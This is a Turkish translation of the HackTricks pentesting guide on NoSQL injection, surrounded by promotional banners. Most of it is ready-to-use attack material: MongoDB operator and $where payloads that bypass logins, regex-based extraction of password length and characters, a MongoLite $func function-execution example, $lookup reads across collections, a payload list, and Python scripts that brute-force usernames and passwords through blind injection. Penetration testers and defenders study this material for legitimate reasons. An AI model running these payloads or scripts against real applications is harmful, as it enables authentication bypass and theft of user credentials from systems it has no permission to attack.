hacktricks/pentesting-web/nosql-injection.md

14 KiB
Raw Blame History

NoSQL enjeksiyonu


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Sömürü

PHP'de, gönderilen parametreyi parameter=foo dan parameter[arrName]=foo olarak değiştirerek bir Dizi gönderebilirsiniz.

Sömürüler bir Operatör ekleyerek yapılmaktadır:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Temel kimlik doğrulama atlatma

Eşit olmayan ($ne) veya büyük ($gt) kullanarak

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

NoSQL enjeksiyonu, SQL enjeksiyonuna benzer şekilde çalışır, ancak NoSQL veritabanlarına yöneliktir. MongoDB gibi NoSQL veritabanları, JSON belgeleri kullanır ve sorguları JSON formatında yapılır. NoSQL enjeksiyonu, sorguların güvenli olmayan bir şekilde oluşturulması veya işlenmesi durumunda ortaya çıkabilir. Bu durumda saldırgan, sorguları manipüle ederek veritabanından istediği bilgilere erişebilir veya veritabanını bozabilir.

query = { $where: `this.username == '${username}'` }

Bir saldırgan, sorguyu bir tautoloji ('a'=='a') ile karşılayarak tüm belgeleri döndüren bir koşulu sağlayan admin' || 'a'=='a gibi dizeleri girdiğinde bunu sömürebilir. Bu, SQL sorgularını manipüle etmek için kullanılan ' or 1=1-- - gibi girdilerin kullanıldığı SQL enjeksiyon saldırılarına benzer. MongoDB'de, ' || 1==1//, ' || 1==1%00 veya admin' || 'a'=='a gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Uzunluk bilgilerini çıkarın

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Veri bilgilerini çıkartın

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Keyfi Fonksiyon Yürütme

Varsayılan olarak kullanılan MongoLite kütüphanesinin $func operatörünü kullanarak, bu raporda olduğu gibi keyfi bir fonksiyon yürütmek mümkün olabilir.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Farklı koleksiyondan bilgi alın

Farklı bir koleksiyondan bilgi almak için $lookup kullanmak mümkündür. Aşağıdaki örnekte, users adlı farklı bir koleksiyondan okuma yapıyoruz ve bir jokerle eşleşen bir şifreye sahip tüm girişlerin sonuçlarını alıyoruz.

NOT: $lookup ve diğer birleştirme işlevleri, aramanın daha yaygın olan find() veya findOne() işlevleri yerine kullanılarak gerçekleştirildiyse yalnızca kullanılabilir.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB Yükleri

Liste buradan

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Kör NoSQL Betiği

Blind NoSQL saldırıları, hedef veritabanındaki verileri çalmak veya değiştirmek için kullanılan bir tekniktir. Saldırgan, hedef veritabanındaki verileri kör bir şekilde sorgulayarak hassas bilgileri elde edebilir. Bu saldırı türü, veritabanı sorgularının yanıtlarına dayalı olarak gerçekleştirilir ve saldırganın sorgularının sonuçlarına göre hedef veritabanındaki veriler hakkında bilgi edinmesini sağlar. Bu saldırı türü genellikle kullanıcı kimlik doğrulama sistemlerini hedef alır ve saldırganın kimlik bilgilerini ele geçirmesine olanak tanır.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

POST girişinden kullanıcı adlarını ve şifreleri kaba kuvvet saldırısıyla deneyin

Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Araçlar

Referanslar

AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}